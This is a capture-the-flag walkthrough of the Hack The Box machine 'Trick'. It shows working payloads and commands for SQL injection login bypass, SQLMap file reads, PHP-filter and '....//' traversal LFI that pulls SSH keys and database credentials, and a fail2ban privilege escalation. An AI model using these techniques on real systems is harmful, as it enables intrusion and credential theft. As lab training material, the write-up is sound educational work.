HTB-Trick

Trick HTB Writeup - Complete Walkthrough

Introduction

Welcome to my comprehensive walkthrough of Trick from Hack The Box (HTB). This medium-difficulty Linux machine showcases several common vulnerabilities including DNS zone transfer, SQL injection, Local File Inclusion (LFI), and privilege escalation through fail2ban misconfiguration. In this writeup, I’ll demonstrate how to exploit these vulnerabilities step-by-step to achieve root access.

Tools Used: Nmap, dig, Burp Suite, SQLMap, SSH, Netcat

This HTB writeup and walkthrough is intended for educational purposes to help aspiring penetration testers understand real-world attack vectors and defensive strategies.

---

Initial Enumeration

Nmap Scan Results

Starting with our initial Nmap scan, we discover several open ports:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 
25/tcp open  smtp?   syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Coming Soon - Start Bootstrap Theme

DNS Enumeration

Digging through the DNS, we discover the domain name trick.htb:

dig @10.129.100.122 -x 10.129.100.122 +short

DNS over TCP suggests that DNS zone transfers may be enabled. Let’s attempt a zone transfer:

dig @10.129.100.122 trick.htb AXFR

Remember to add trick.htb to your /etc/hosts file.

The zone transfer reveals an additional subdomain: preprod-payroll.trick.htb. Add this to /etc/hosts as well.

---

Web Application Analysis

Preprod-Payroll Subdomain

Navigating to the preprod-payroll subdomain, we discover a login form.

SQL Injection Vulnerability

Inspecting the HTML source code, we find a JavaScript function that handles the login form:

$('#login-form').submit(function(e){
	e.preventDefault()
	$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
	if($(this).find('.alert-danger').length > 0 )
		$(this).find('.alert-danger').remove();
	$.ajax({
		url:'ajax.php?action=login',
		method:'POST',
		data:$(this).serialize(),
		error:err=>{
			console.log(err)
	$('#login-form button[type="button"]').removeAttr('disabled').html('Login');

		},
		success:function(resp){
			if(resp == 1){
				location.href ='index.php?page=home';
			}else if(resp == 2){
				location.href ='voting.php';
			}else{
				$('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>')
				$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
			}
		}
	})
})

I noticed there was no whitelisting or input validation that would prevent SQL injection attempts. Testing with a simple payload:

'-'

Using this for both username and password, we successfully bypass authentication and log in as admin.

Post-Authentication Enumeration

After gaining access, we discover several interesting findings:

Employee Information:

|John|C|Smith|IT Department|Programmer|

Cross-Site Scripting (XSS): Multiple forms are vulnerable to stored XSS. Testing with:

<script>alert(1)</script> 

Local File Inclusion (LFI): The application appears vulnerable to LFI through the page parameter:

http://preprod-payroll.trick.htb/index.php?page=users

---

Exploiting LFI

Reading PHP Files

Intercepting requests through Burp Suite, we can abuse the LFI vulnerability using PHP filters:

GET /index.php?page=php://filter/convert.base64-encode/resource=deductions HTTP/1.1
Host: preprod-payroll.trick.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: el-GR,el;q=0.9,en;q=0.8
Cookie: PHPSESSID=0d5qoh1jcagls1duj8fjqqnpco
Connection: keep-alive

After decoding the file, it hints at the existence of db_connect.php. Let’s retrieve that as well:

/index.php?page=php://filter/convert.base64-encode/resource=db_connect.php 

Database Credentials Discovered

Decoding the base64 output reveals database credentials:

'remo','TrulyImpossiblePasswordLmao123','payroll_db'

---

SQLMap Exploitation

Automated SQL Injection

With confirmed SQL injection vulnerability, let’s leverage SQLMap for deeper exploitation:

sqlmap -r login.req -p username --level 5 --risk 3 --technique=BEUS --batch

Output:

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=adc' OR NOT 4452=4452-- JVvx&password=abc

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=adc' OR (SELECT 7557 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT (ELT(7557=7557,1))),0x71766b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- wpxf&password=abc
---

Checking Database Privileges

sqlmap -r login.req -p username --privileges

Output:

database management system users privileges:
[*] 'remo'@'localhost' [1]:
    privilege: FILE

The database user remo has FILE privileges, which allows reading files from the filesystem.

Reading System Files

sqlmap -r login.req -p username --batch --file-read=/etc/passwd

cat /home/panosoiko/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd

Result:

root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

We discover a user named michael on the system.

---

Additional Subdomain Discovery

Nginx Configuration

Reading the default Nginx configuration:

sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --batch --file-read=/etc/nginx/sites-enabled/default

Discovery:

server { listen 80; listen [::]:80; server_name preprod-marketing.trick.htb;

Another subdomain: preprod-marketing.trick.htb. Add this to /etc/hosts.

---

Exploiting Preprod-Marketing

LFI Vulnerability Discovery

Navigating to the marketing subdomain:

http://preprod-marketing.trick.htb/index.php?page=about.html

If the code is similar to the payroll application, it might be vulnerable to Local File Inclusion. Based on the Nginx vHost configuration, the site is located in /var/www/market, meaning we need to traverse up 3 directories to read /etc/passwd.

Bypassing Directory Traversal Filters

Initially, attempting standard ../ traversal results in a blank page, suggesting a filter removes ../ from the input. We can test this hypothesis by visiting:

http://preprod-marketing.trick.htb/index.php?page=../about.html

The about page loads normally, confirming the filter. Testing further with:

http://preprod-marketing.trick.htb/index.php?page=about.html../

Again, the page loads successfully, indicating ../ is being stripped from our input.

Filter Bypass Technique

We can bypass this filter using ....//. When the filter removes one ../, it leaves the other intact. Testing:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

Success! The filter is bypassed.

Retrieving SSH Private Key

With confirmed LFI and knowledge of user michael, we can attempt to read his SSH private key:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....///home/michael/.ssh/id_rsa

SSH Access

With the private key retrieved, we can establish SSH access:

panosoiko@parrot:~/Downloads$ chmod 600 id_rsa

panosoiko@parrot:~/Downloads$ ssh -i id_rsa michael@10.129.100.122

---

Privilege Escalation

Sudo Privileges

Checking sudo permissions:

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

User michael can restart fail2ban without a password. This is our privilege escalation vector.

Fail2ban Exploitation

The target file is iptables-multiport.conf, specifically the actionban variable which contains the command executed when a user is banned. While we don’t have write access to the file directly, the directory is owned by the security group, allowing us to move and replace files.

Steps to exploit:

1. Backup and replace the configuration file:

cat iptables-multiport.conf
mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
ls -l iptables-multiport.conf

Now we have full control over iptables-multiport.conf.

2. Modify the actionban variable:

Edit the configuration file and change the actionban variable to:

actionban = /tmp/shell.sh

3. Create the malicious shell script:

Create /tmp/shell.sh with your reverse shell payload and make it executable with chmod +x /tmp/shell.sh.

4. Restart fail2ban:

sudo /etc/init.d/fail2ban restart

5. Start a netcat listener:

On your attacking machine, start a listener to catch the reverse shell.

6. Trigger the ban:

Attempt SSH login with incorrect credentials multiple times to trigger the ban action:

ssh michael@10.129.100.122

Hit enter several times with incorrect passwords.

After a short period, fail2ban executes our malicious script, and we receive a root shell on our netcat listener.

---

Conclusion

The Trick HTB machine demonstrated several critical vulnerabilities commonly found in web applications:

1. DNS Zone Transfer - Allowed discovery of hidden subdomains
2. SQL Injection - Bypassed authentication and enabled file reading
3. Local File Inclusion - Exposed sensitive files including SSH keys
4. Filter Bypass - Circumvented directory traversal protections
5. Privilege Escalation via fail2ban - Misconfigured sudo permissions leading to root access

This walkthrough emphasizes the importance of proper input validation, secure file handling, restrictive sudo configurations, and limiting DNS zone transfers in production environments.

Key Takeaways for Defenders:

• Implement proper input validation and parameterized queries
• Restrict DNS zone transfers to authorized servers only
• Apply principle of least privilege for sudo permissions